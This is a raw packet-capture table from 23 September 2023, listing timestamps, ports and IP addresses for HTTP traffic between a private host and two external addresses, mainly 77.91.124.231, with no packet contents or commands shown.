Sep 23, 2023 17:53:02.989546061 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.989635944 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.989679098 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.052212954 CEST	80	49754	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:03.052309036 CEST	49754	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:03.052349091 CEST	49754	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:03.138787031 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.191553116 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.200541973 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.213715076 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.213758945 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.213763952 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.213810921 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.213850975 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.213877916 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.254133940 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.310703039 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.310970068 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.310981989 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.311001062 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.311012030 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.311099052 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.311104059 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.311104059 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.311136007 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.311148882 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.311300993 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.311336994 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.371068954 CEST	80	49754	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:03.513226986 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.535509109 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.535567045 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.535981894 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.536092997 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.536140919 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.536160946 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.580442905 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.580555916 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.633047104 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.633060932 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.633070946 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.633083105 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.633116961 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.633140087 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.633202076 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.633259058 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.633295059 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.633295059 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.633327007 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.633363008 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.633409977 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.675998926 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.857374907 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.857391119 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.857542992 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.857614040 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.857659101 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.857700109 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.902126074 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.902417898 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.902458906 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.955029011 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.955116987 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.955157995 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.955163002 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.955203056 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.955250025 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.955312967 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.955348015 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.955384970 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.955389977 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.955396891 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:03.955445051 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:03.997673988 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.051024914 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.179617882 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.179634094 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.179678917 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.179693937 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.179727077 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.179768085 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.224446058 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.224462986 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.224519968 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.277024984 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.277200937 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.277210951 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.277220964 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.277249098 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.277278900 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.277283907 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.277290106 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.277326107 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.277383089 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.277422905 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.277472973 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.372792006 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.425916910 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.501296043 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.501427889 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.501445055 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.501460075 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.501574993 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.501574993 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.547214985 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.547305107 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.547435045 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.599097967 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.599128008 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.599143982 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.599210024 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.599250078 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.599273920 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.599273920 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.599328995 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.599369049 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.599387884 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.599420071 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.599459887 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.748097897 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.801093102 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.823281050 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.823331118 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.823368073 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.823386908 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.823410988 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.823461056 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.869438887 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.869571924 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.869641066 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.921281099 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.921329975 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.921396017 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.921492100 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.921494007 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.921536922 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.921544075 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.921595097 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.921631098 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.921634912 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:04.921678066 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:04.921721935 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.122771978 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.145174026 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.145186901 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.145198107 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.145257950 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.145358086 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.145359039 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.191128969 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.191178083 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.191190004 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.238423109 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.243191957 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.243211031 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.243227005 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.243256092 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.243283987 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.243310928 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.243330956 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.243330956 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.243352890 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.243391037 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.243417978 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.243551970 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.243591070 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.243717909 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.285294056 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.466908932 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.466932058 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.466948986 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.466964960 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.466979027 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.467001915 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.513139009 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.513180017 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.513233900 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.560169935 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.565025091 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.565042019 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.565058947 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.565072060 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.565136909 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.565198898 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.565262079 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.565278053 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.565305948 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.565305948 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.565305948 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.565305948 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.565305948 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.565334082 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.565366030 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.565372944 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.565393925 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.565431118 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.565665960 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.565704107 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.565706015 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.565741062 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.566250086 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.566360950 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.566405058 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.566451073 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.566512108 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.887329102 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.887377977 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.887417078 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.887449980 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.887454987 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.887494087 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.887504101 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.887530088 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.887578011 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.887609959 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.887648106 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.887682915 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.887703896 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.887732029 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:05.888000965 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:05.941540003 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.209338903 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.209767103 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.209822893 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.209841967 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.209889889 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.209923983 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.209923983 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.209974051 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.210037947 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.210061073 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.210107088 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.210128069 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.210155964 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.254241943 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.263624907 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.316551924 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.531938076 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.531971931 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.531986952 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.532033920 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.532259941 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.532277107 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.532294035 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.532321930 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.532351971 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.532463074 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.532480001 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.532535076 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.576162100 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.629156113 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.638525009 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.691642046 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.853877068 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.853956938 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.853996038 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.854003906 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.854173899 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.854212999 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.854475021 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.854520082 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.854557037 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.854948997 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.854989052 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:06.855029106 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:06.950819969 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.004153013 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.013406992 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.066528082 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.184458017 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.184554100 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.184601068 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.184673071 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.184773922 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.184813976 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.184904099 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.185204983 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.185240984 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.185276031 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.185345888 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.185396910 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.325947046 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.379043102 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.388223886 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.441528082 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.532588959 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.532762051 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.532798052 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.532812119 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.532870054 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.532906055 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.534255028 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.534305096 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.534352064 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.534885883 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.534945011 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.534982920 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.711433887 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.754064083 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.763194084 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.816555977 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.854535103 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.854818106 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.854866982 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.855021000 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.855549097 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.855597973 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.857085943 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.857495070 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.857537985 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:07.857641935 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.857820988 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:07.857861996 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.076250076 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.129035950 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.138135910 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.176490068 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.176570892 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.176573038 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.177031994 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.177082062 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.177083969 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.179111004 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.179142952 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.179167986 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.179209948 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.179251909 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.179394007 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.222769022 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.450952053 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.498106003 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.498147011 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.498193979 CEST	49761	80	192.168.2.4	77.91.124.231
